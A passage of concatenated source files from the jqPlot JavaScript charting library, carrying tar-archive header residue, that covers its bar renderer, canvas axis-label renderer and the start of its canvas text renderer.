http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // Class: $.jqplot.BarRenderer // A plugin renderer for jqPlot to draw a bar plot. // Draws series as a line. $.jqplot.BarRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.BarRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.BarRenderer.prototype.constructor = $.jqplot.BarRenderer; // called with scope of series. $.jqplot.BarRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: barPadding // Number of pixels between adjacent bars at the same axis value. this.barPadding = 8; // prop: barMargin // Number of pixels between groups of bars at adjacent axis values. this.barMargin = 10; // prop: barDirection // 'vertical' = up and down bars, 'horizontal' = side to side bars this.barDirection = 'vertical'; // prop: barWidth // Width of the bar in pixels (auto by devaul). null = calculated automatically. this.barWidth = null; // prop: shadowOffset // offset of the shadow from the slice and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 5; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.08; // prop: waterfall // true to enable waterfall plot. this.waterfall = false; // prop: groups // group bars into this many groups this.groups = 1; // prop: varyBarColor // true to color each bar of a series separately rather than // have every bar of a given series the same color. // If used for non-stacked multiple series bar plots, user should // specify a separate 'seriesColors' array for each series. // Otherwise, each series will set their bars to the same color array. // This option has no Effect for stacked bar charts and is disabled. this.varyBarColor = false; // prop: highlightMouseOver // True to highlight slice when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a slice. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // an array of colors to use when highlighting a bar. this.highlightColors = []; // prop: transposedData // NOT IMPLEMENTED YET. True if this is a horizontal bar plot and // x and y values are "transposed". Tranposed, or "swapped", data is // required prior to rev. 894 builds of jqPlot with horizontal bars. // Allows backward compatability of bar renderer horizontal bars with // old style data sets. this.transposedData = true; this.renderer.animation = { show: false, direction: 'down', speed: 3000, _supported: true }; this._type = 'bar'; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } ////// // This is probably wrong here. // After going back and forth on whether renderer should be the thing // or extend the thing, it seems that it it best if it is a property // on the thing. This should be something that is commonized // among series renderers in the future. ////// $.extend(true, this, options); // really should probably do this $.extend(true, this.renderer, options); // fill is still needed to properly draw the legend. // bars have to be filled. this.fill = true; // if horizontal bar and animating, reset the default direction if (this.barDirection === 'horizontal' && this.rendererOptions.animation && this.rendererOptions.animation.direction == null) { this.renderer.animation.direction = 'left'; } if (this.waterfall) { this.fillToZero = false; this.disableStack = true; } if (this.barDirection == 'vertical' ) { this._primaryAxis = '_xaxis'; this._stackAxis = 'y'; this.fillAxis = 'y'; } else { this._primaryAxis = '_yaxis'; this._stackAxis = 'x'; this.fillAxis = 'x'; } // index of the currenty highlighted point, if any this._highlightedPoint = null; // total number of values for all bar series, total number of bar series, and position of this series this._plotSeriesInfo = null; // Array of actual data colors used for each data point. this._dataColors = []; this._barPoints = []; // set the shape renderer options var opts = {lineJoin:'miter', lineCap:'round', fill:true, isarc:false, strokeStyle:this.color, fillStyle:this.color, closePath:this.fill}; this.renderer.shapeRenderer.init(opts); // set the shadow renderer options var sopts = {lineJoin:'miter', lineCap:'round', fill:true, isarc:false, angle:this.shadowAngle, offset:this.shadowOffset, alpha:this.shadowAlpha, depth:this.shadowDepth, closePath:this.fill}; this.renderer.shadowRenderer.init(sopts); plot.postInitHooks.addOnce(postInit); plot.postDrawHooks.addOnce(postPlotDraw); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); }; // called with scope of series function barPreInit(target, data, seriesDefaults, options) { if (this.rendererOptions.barDirection == 'horizontal') { this._stackAxis = 'x'; this._primaryAxis = '_yaxis'; } if (this.rendererOptions.waterfall == true) { this._data = $.extend(true, [], this.data); var sum = 0; var pos = (!this.rendererOptions.barDirection || this.rendererOptions.barDirection === 'vertical' || this.transposedData === false) ? 1 : 0; for(var i=0; i<this.data.length; i++) { sum += this.data[i][pos]; if (i>0) { this.data[i][pos] += this.data[i-1][pos]; } } this.data[this.data.length] = (pos == 1) ? [this.data.length+1, sum] : [sum, this.data.length+1]; this._data[this._data.length] = (pos == 1) ? [this._data.length+1, sum] : [sum, this._data.length+1]; } if (this.rendererOptions.groups > 1) { this.breakOnNull = true; var l = this.data.length; var skip = parseInt(l/this.rendererOptions.groups, 10); var count = 0; for (var i=skip; i<l; i+=skip) { this.data.splice(i+count, 0, [null, null]); this._plotData.splice(i+count, 0, [null, null]); this._stackData.splice(i+count, 0, [null, null]); count++; } for (i=0; i<this.data.length; i++) { if (this._primaryAxis == '_xaxis') { this.data[i][0] = i+1; this._plotData[i][0] = i+1; this._stackData[i][0] = i+1; } else { this.data[i][1] = i+1; this._plotData[i][1] = i+1; this._stackData[i][1] = i+1; } } } } $.jqplot.preSeriesInitHooks.push(barPreInit); // needs to be called with scope of series, not renderer. $.jqplot.BarRenderer.prototype.calcSeriesNumbers = function() { var nvals = 0; var nseries = 0; var paxis = this[this._primaryAxis]; var s, series, pos; // loop through all series on this axis for (var i=0; i < paxis._series.length; i++) { series = paxis._series[i]; if (series === this) { pos = i; } // is the series rendered as a bar? if (series.renderer.constructor == $.jqplot.BarRenderer) { // gridData may not be computed yet, use data length insted nvals += series.data.length; nseries += 1; } } // return total number of values for all bar series, total number of bar series, and position of this series return [nvals, nseries, pos]; }; $.jqplot.BarRenderer.prototype.setBarWidth = function() { // need to know how many data values we have on the approprate axis and figure it out. var i; var nvals = 0; var nseries = 0; var paxis = this[this._primaryAxis]; var s, series, pos; var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); nvals = temp[0]; nseries = temp[1]; var nticks = paxis.numberTicks; var nbins = (nticks-1)/2; // so, now we have total number of axis values. if (paxis.name == 'xaxis' || paxis.name == 'x2axis') { if (this._stack) { this.barWidth = (paxis._offsets.max - paxis._offsets.min) / nvals * nseries - this.barMargin; } else { this.barWidth = ((paxis._offsets.max - paxis._offsets.min)/nbins - this.barPadding * (nseries-1) - this.barMargin*2)/nseries; // this.barWidth = (paxis._offsets.max - paxis._offsets.min) / nvals - this.barPadding - this.barMargin/nseries; } } else { if (this._stack) { this.barWidth = (paxis._offsets.min - paxis._offsets.max) / nvals * nseries - this.barMargin; } else { this.barWidth = ((paxis._offsets.min - paxis._offsets.max)/nbins - this.barPadding * (nseries-1) - this.barMargin*2)/nseries; // this.barWidth = (paxis._offsets.min - paxis._offsets.max) / nvals - this.barPadding - this.barMargin/nseries; } } return [nvals, nseries]; }; function computeHighlightColors (colors) { var ret = []; for (var i=0; i<colors.length; i++){ var rgba = $.jqplot.getColorComponents(colors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } ret.push('rgb('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+')'); } return ret; } function getStart(sidx, didx, comp, plot, axis) { // check if sign change var seriesIndex = sidx, prevSeriesIndex = sidx - 1, start, prevVal, aidx = (axis === 'x') ? 0 : 1; // is this not the first series? if (seriesIndex > 0) { prevVal = plot.series[prevSeriesIndex]._plotData[didx][aidx]; // is there a sign change if ((comp * prevVal) < 0) { start = getStart(prevSeriesIndex, didx, comp, plot, axis); } // no sign change. else { start = plot.series[prevSeriesIndex].gridData[didx][aidx]; } } // if first series, return value at 0 else { start = (aidx === 0) ? plot.series[seriesIndex]._xaxis.series_u2p(0) : plot.series[seriesIndex]._yaxis.series_u2p(0); } return start; } $.jqplot.BarRenderer.prototype.draw = function(ctx, gridData, options, plot) { var i; // Ughhh, have to make a copy of options b/c it may be modified later. var opts = $.extend({}, options); var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var xaxis = this.xaxis; var yaxis = this.yaxis; var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var pointx, pointy; // clear out data colors. this._dataColors = []; this._barPoints = []; if (this.barWidth == null || this.rendererOptions.barWidth == null) {//check pull request https://bitbucket.org/cleonello/jqplot/pull-request/61/fix-for-issue-513/diff this.renderer.setBarWidth.call(this); } var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); var nvals = temp[0]; var nseries = temp[1]; var pos = temp[2]; var points = []; if (this._stack) { this._barNudge = 0; } else { this._barNudge = (-Math.abs(nseries/2 - 0.5) + pos) * (this.barWidth + this.barPadding); } if (showLine) { var negativeColors = new $.jqplot.ColorGenerator(this.negativeSeriesColors); var positiveColors = new $.jqplot.ColorGenerator(this.seriesColors); var negativeColor = negativeColors.get(this.index); if (! this.useNegativeColors) { negativeColor = opts.fillStyle; } var positiveColor = opts.fillStyle; var base; var xstart; var ystart; if (this.barDirection == 'vertical') { for (var i=0; i<gridData.length; i++) { if (!this._stack && this.data[i][1] == null) { continue; } points = []; base = gridData[i][0] + this._barNudge; // stacked if (this._stack && this._prevGridData.length) { ystart = getStart(this.index, i, this._plotData[i][1], plot, 'y'); } // not stacked else { if (this.fillToZero) { ystart = this._yaxis.series_u2p(0); } else if (this.waterfall && i > 0 && i < this.gridData.length-1) { ystart = this.gridData[i-1][1]; } else if (this.waterfall && i == 0 && i < this.gridData.length-1) { if (this._yaxis.min <= 0 && this._yaxis.max >= 0) { ystart = this._yaxis.series_u2p(0); } else if (this._yaxis.min > 0) { ystart = ctx.canvas.height; } else { ystart = 0; } } else if (this.waterfall && i == this.gridData.length - 1) { if (this._yaxis.min <= 0 && this._yaxis.max >= 0) { ystart = this._yaxis.series_u2p(0); } else if (this._yaxis.min > 0) { ystart = ctx.canvas.height; } else { ystart = 0; } } else { ystart = ctx.canvas.height; } } if ((this.fillToZero && this._plotData[i][1] < 0) || (this.waterfall && this._data[i][1] < 0)) { if (this.varyBarColor && !this._stack) { if (this.useNegativeColors) { opts.fillStyle = negativeColors.next(); } else { opts.fillStyle = positiveColors.next(); } } else { opts.fillStyle = negativeColor; } } else { if (this.varyBarColor && !this._stack) { opts.fillStyle = positiveColors.next(); } else { opts.fillStyle = positiveColor; } } if (!this.fillToZero || this._plotData[i][1] >= 0) { points.push([base-this.barWidth/2, ystart]); points.push([base-this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, ystart]); } // for negative bars make sure points are always ordered clockwise else { points.push([base-this.barWidth/2, gridData[i][1]]); points.push([base-this.barWidth/2, ystart]); points.push([base+this.barWidth/2, ystart]); points.push([base+this.barWidth/2, gridData[i][1]]); } this._barPoints.push(points); // now draw the shadows if not stacked. // for stacked plots, they are predrawn by drawShadow if (shadow && !this._stack) { var sopts = $.extend(true, {}, opts); // need to get rid of fillStyle on shadow. delete sopts.fillStyle; this.renderer.shadowRenderer.draw(ctx, points, sopts); } var clr = opts.fillStyle || this.color; this._dataColors.push(clr); this.renderer.shapeRenderer.draw(ctx, points, opts); } } else if (this.barDirection == 'horizontal'){ for (var i=0; i<gridData.length; i++) { if (!this._stack && this.data[i][0] == null) { continue; } points = []; base = gridData[i][1] - this._barNudge; xstart; if (this._stack && this._prevGridData.length) { xstart = getStart(this.index, i, this._plotData[i][0], plot, 'x'); } // not stacked else { if (this.fillToZero) { xstart = this._xaxis.series_u2p(0); } else if (this.waterfall && i > 0 && i < this.gridData.length-1) { xstart = this.gridData[i-1][0]; } else if (this.waterfall && i == 0 && i < this.gridData.length-1) { if (this._xaxis.min <= 0 && this._xaxis.max >= 0) { xstart = this._xaxis.series_u2p(0); } else if (this._xaxis.min > 0) { xstart = 0; } else { xstart = 0; } } else if (this.waterfall && i == this.gridData.length - 1) { if (this._xaxis.min <= 0 && this._xaxis.max >= 0) { xstart = this._xaxis.series_u2p(0); } else if (this._xaxis.min > 0) { xstart = 0; } else { xstart = ctx.canvas.width; } } else { xstart = 0; } } if ((this.fillToZero && this._plotData[i][0] < 0) || (this.waterfall && this._data[i][0] < 0)) { if (this.varyBarColor && !this._stack) { if (this.useNegativeColors) { opts.fillStyle = negativeColors.next(); } else { opts.fillStyle = positiveColors.next(); } } else { opts.fillStyle = negativeColor; } } else { if (this.varyBarColor && !this._stack) { opts.fillStyle = positiveColors.next(); } else { opts.fillStyle = positiveColor; } } if (!this.fillToZero || this._plotData[i][0] >= 0) { points.push([xstart, base + this.barWidth / 2]); points.push([xstart, base - this.barWidth / 2]); points.push([gridData[i][0], base - this.barWidth / 2]); points.push([gridData[i][0], base + this.barWidth / 2]); } else { points.push([gridData[i][0], base + this.barWidth / 2]); points.push([gridData[i][0], base - this.barWidth / 2]); points.push([xstart, base - this.barWidth / 2]); points.push([xstart, base + this.barWidth / 2]); } this._barPoints.push(points); // now draw the shadows if not stacked. // for stacked plots, they are predrawn by drawShadow if (shadow && !this._stack) { var sopts = $.extend(true, {}, opts); delete sopts.fillStyle; this.renderer.shadowRenderer.draw(ctx, points, sopts); } var clr = opts.fillStyle || this.color; this._dataColors.push(clr); this.renderer.shapeRenderer.draw(ctx, points, opts); } } } if (this.highlightColors.length == 0) { this.highlightColors = $.jqplot.computeHighlightColors(this._dataColors); } else if (typeof(this.highlightColors) == 'string') { var temp = this.highlightColors; this.highlightColors = []; for (var i=0; i<this._dataColors.length; i++) { this.highlightColors.push(temp); } } }; // for stacked plots, shadows will be pre drawn by drawShadow. $.jqplot.BarRenderer.prototype.drawShadow = function(ctx, gridData, options, plot) { var i; var opts = (options != undefined) ? options : {}; var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var xaxis = this.xaxis; var yaxis = this.yaxis; var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var pointx, points, pointy, nvals, nseries, pos; if (this._stack && this.shadow) { if (this.barWidth == null || this.rendererOptions.barWidth == null) {//check pull request https://bitbucket.org/cleonello/jqplot/pull-request/61/fix-for-issue-513/diff) { this.renderer.setBarWidth.call(this); } var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); nvals = temp[0]; nseries = temp[1]; pos = temp[2]; if (this._stack) { this._barNudge = 0; } else { this._barNudge = (-Math.abs(nseries/2 - 0.5) + pos) * (this.barWidth + this.barPadding); } if (showLine) { if (this.barDirection == 'vertical') { for (var i=0; i<gridData.length; i++) { if (this.data[i][1] == null) { continue; } points = []; var base = gridData[i][0] + this._barNudge; var ystart; if (this._stack && this._prevGridData.length) { ystart = getStart(this.index, i, this._plotData[i][1], plot, 'y'); } else { if (this.fillToZero) { ystart = this._yaxis.series_u2p(0); } else { ystart = ctx.canvas.height; } } points.push([base-this.barWidth/2, ystart]); points.push([base-this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, ystart]); this.renderer.shadowRenderer.draw(ctx, points, opts); } } else if (this.barDirection == 'horizontal'){ for (var i=0; i<gridData.length; i++) { if (this.data[i][0] == null) { continue; } points = []; var base = gridData[i][1] - this._barNudge; var xstart; if (this._stack && this._prevGridData.length) { xstart = getStart(this.index, i, this._plotData[i][0], plot, 'x'); } else { if (this.fillToZero) { xstart = this._xaxis.series_u2p(0); } else { xstart = 0; } } points.push([xstart, base+this.barWidth/2]); points.push([gridData[i][0], base+this.barWidth/2]); points.push([gridData[i][0], base-this.barWidth/2]); points.push([xstart, base-this.barWidth/2]); this.renderer.shadowRenderer.draw(ctx, points, opts); } } } } }; function postInit(target, data, options) { for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.BarRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.barRenderer && this.plugins.barRenderer.highlightCanvas) { this.plugins.barRenderer.highlightCanvas.resetCanvas(); this.plugins.barRenderer.highlightCanvas = null; } this.plugins.barRenderer = {highlightedSeriesIndex:null}; this.plugins.barRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.barRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-barRenderer-highlight-canvas', this._plotDimensions, this)); this.plugins.barRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } function highlight (plot, sidx, pidx, points) { var s = plot.series[sidx]; var canvas = plot.plugins.barRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.barRenderer.highlightedSeriesIndex = sidx; var opts = {fillStyle: s.highlightColors[pidx]}; s.renderer.shapeRenderer.draw(canvas._ctx, points, opts); canvas = null; } function unhighlight (plot) { var canvas = plot.plugins.barRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.barRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); canvas = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].show && plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.barRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.barRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.barRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.barRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } })(jQuery); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.canvasAxisLabelRenderer.js���������������������������������������������0000666�����������������00000017722�15172447206�0017455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.CanvasAxisLabelRenderer * Renderer to draw axis labels with a canvas element to support advanced * featrues such as rotated text. This renderer uses a separate rendering engine * to draw the text on the canvas. Two modes of rendering the text are available. * If the browser has native font support for canvas fonts (currently Mozila 3.5 * and Safari 4), you can enable text rendering with the canvas fillText method. * You do so by setting the "enableFontSupport" option to true. * * Browsers lacking native font support will have the text drawn on the canvas * using the Hershey font metrics. Even if the "enableFontSupport" option is true * non-supporting browsers will still render with the Hershey font. * */ $.jqplot.CanvasAxisLabelRenderer = function(options) { // Group: Properties // prop: angle // angle of text, measured clockwise from x axis. this.angle = 0; // name of the axis associated with this tick this.axis; // prop: show // whether or not to show the tick (mark and label). this.show = true; // prop: showLabel // whether or not to show the label. this.showLabel = true; // prop: label // label for the axis. this.label = ''; // prop: fontFamily // CSS spec for the font-family css attribute. // Applies only to browsers supporting native font rendering in the // canvas tag. Currently Mozilla 3.5 and Safari 4. this.fontFamily = '"Trebuchet MS", Arial, Helvetica, sans-serif'; // prop: fontSize // CSS spec for font size. this.fontSize = '11pt'; // prop: fontWeight // CSS spec for fontWeight: normal, bold, bolder, lighter or a number 100 - 900 this.fontWeight = 'normal'; // prop: fontStretch // Multiplier to condense or expand font width. // Applies only to browsers which don't support canvas native font rendering. this.fontStretch = 1.0; // prop: textColor // css spec for the color attribute. this.textColor = '#666666'; // prop: enableFontSupport // true to turn on native canvas font support in Mozilla 3.5+ and Safari 4+. // If true, label will be drawn with canvas tag native support for fonts. // If false, label will be drawn with Hershey font metrics. this.enableFontSupport = true; // prop: pt2px // Point to pixel scaling factor, used for computing height of bounding box // around a label. The labels text renderer has a default setting of 1.4, which // should be suitable for most fonts. Leave as null to use default. If tops of // letters appear clipped, increase this. If bounding box seems too big, decrease. // This is an issue only with the native font renderering capabilities of Mozilla // 3.5 and Safari 4 since they do not provide a method to determine the font height. this.pt2px = null; this._elem; this._ctx; this._plotWidth; this._plotHeight; this._plotDimensions = {height:null, width:null}; $.extend(true, this, options); if (options.angle == null && this.axis != 'xaxis' && this.axis != 'x2axis') { this.angle = -90; } var ropts = {fontSize:this.fontSize, fontWeight:this.fontWeight, fontStretch:this.fontStretch, fillStyle:this.textColor, angle:this.getAngleRad(), fontFamily:this.fontFamily}; if (this.pt2px) { ropts.pt2px = this.pt2px; } if (this.enableFontSupport) { if ($.jqplot.support_canvas_text()) { this._textRenderer = new $.jqplot.CanvasFontRenderer(ropts); } else { this._textRenderer = new $.jqplot.CanvasTextRenderer(ropts); } } else { this._textRenderer = new $.jqplot.CanvasTextRenderer(ropts); } }; $.jqplot.CanvasAxisLabelRenderer.prototype.init = function(options) { $.extend(true, this, options); this._textRenderer.init({fontSize:this.fontSize, fontWeight:this.fontWeight, fontStretch:this.fontStretch, fillStyle:this.textColor, angle:this.getAngleRad(), fontFamily:this.fontFamily}); }; // return width along the x axis // will check first to see if an element exists. // if not, will return the computed text box width. $.jqplot.CanvasAxisLabelRenderer.prototype.getWidth = function(ctx) { if (this._elem) { return this._elem.outerWidth(true); } else { var tr = this._textRenderer; var l = tr.getWidth(ctx); var h = tr.getHeight(ctx); var w = Math.abs(Math.sin(tr.angle)*h) + Math.abs(Math.cos(tr.angle)*l); return w; } }; // return height along the y axis. $.jqplot.CanvasAxisLabelRenderer.prototype.getHeight = function(ctx) { if (this._elem) { return this._elem.outerHeight(true); } else { var tr = this._textRenderer; var l = tr.getWidth(ctx); var h = tr.getHeight(ctx); var w = Math.abs(Math.cos(tr.angle)*h) + Math.abs(Math.sin(tr.angle)*l); return w; } }; $.jqplot.CanvasAxisLabelRenderer.prototype.getAngleRad = function() { var a = this.angle * Math.PI/180; return a; }; $.jqplot.CanvasAxisLabelRenderer.prototype.draw = function(ctx, plot) { // Memory Leaks patch if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(this._elem.get(0)); } this._elem.emptyForce(); this._elem = null; } // create a canvas here, but can't draw on it untill it is appended // to dom for IE compatability. var elem = plot.canvasManager.getCanvas(); this._textRenderer.setText(this.label, ctx); var w = this.getWidth(ctx); var h = this.getHeight(ctx); elem.width = w; elem.height = h; elem.style.width = w; elem.style.height = h; elem = plot.canvasManager.initCanvas(elem); this._elem = $(elem); this._elem.css({ position: 'absolute'}); this._elem.addClass('jqplot-'+this.axis+'-label'); elem = null; return this._elem; }; $.jqplot.CanvasAxisLabelRenderer.prototype.pack = function() { this._textRenderer.draw(this._elem.get(0).getContext("2d"), this.label); }; })(jQuery);����������������������������������������������vendor/jqplot/plugins/jqplot.canvasTextRenderer.js��������������������������������������������������0000666�����������������00000057457�15172447206�0016546 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * * included jsDate library by Chris Leonello: * * Copyright (c) 2010-2015 Chris Leonello * * jsDate is currently available for use in all personal or commercial projects * under both the MIT and GPL version 2.0 licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * jsDate borrows many concepts and ideas from the Date Instance * Methods by Ken Snyder along with some parts of Ken's actual code. * * Ken's original Date Instance Methods and copyright notice: * * Ken Snyder (ken d snyder at gmail dot com) * 2008-09-10 * version 2.0.2 (http://kendsnyder.com/sandbox/date/) * Creative Commons Attribution License 3.0 (http://creativecommons.org/licenses/by/3.0/) * * jqplotToImage function based on Larry Siden's export-jqplot-to-png.js. * Larry has generously given permission to adapt his code for inclusion * into jqPlot. * * Larry's original code can be found here: * * https://github.com/lsiden/export-jqplot-to-png * * */ (function($) { // This code is a modified version of the canvastext.js code, copyright below: // // This code is released to the public domain by Jim Studt, 2007. // He may keep some sort of up to date copy at http://www.federated.com/~jim/canvastext/ // $.jqplot.CanvasTextRenderer = function(options){ this.fontStyle = 'normal'; // normal, italic, oblique [not implemented] this.fontVariant = 'normal'; // normal, small caps [not implemented] this.fontWeight = 'normal'; // normal, bold, bolder, lighter, 100 - 900 this.fontSize = '10px'; this.fontFamily = 'sans-serif'; this.fontStretch = 1.0; this.fillStyle = '#666666'; this.angle = 0; this.textAlign = 'start'; this.textBaseline = 'alphabetic'; this.text; this.width; this.height; this.pt2px = 1.28; $.extend(true, this, options); this.normalizedFontSize = this.normalizeFontSize(this.fontSize); this.setHeight(); }; $.jqplot.CanvasTextRenderer.prototype.init = function(options) { $.extend(true, this, options); this.normalizedFontSize = this.normalizeFontSize(this.fontSize); this.setHeight(); }; // convert css spec into point size // returns float $.jqplot.CanvasTextRenderer.prototype.normalizeFontSize = function(sz) { sz = String(sz); var n = parseFloat(sz); if (sz.indexOf('px') > -1) { return n/this.pt2px; } else if (sz.indexOf('pt') > -1) { return n; } else if (sz.indexOf('em') > -1) { return n*12; } else if (sz.indexOf('%') > -1) { return n*12/100; } // default to pixels; else { return n/this.pt2px; } }; $.jqplot.CanvasTextRenderer.prototype.fontWeight2Float = function(w) { // w = normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 // return values adjusted for Hershey font. if (Number(w)) 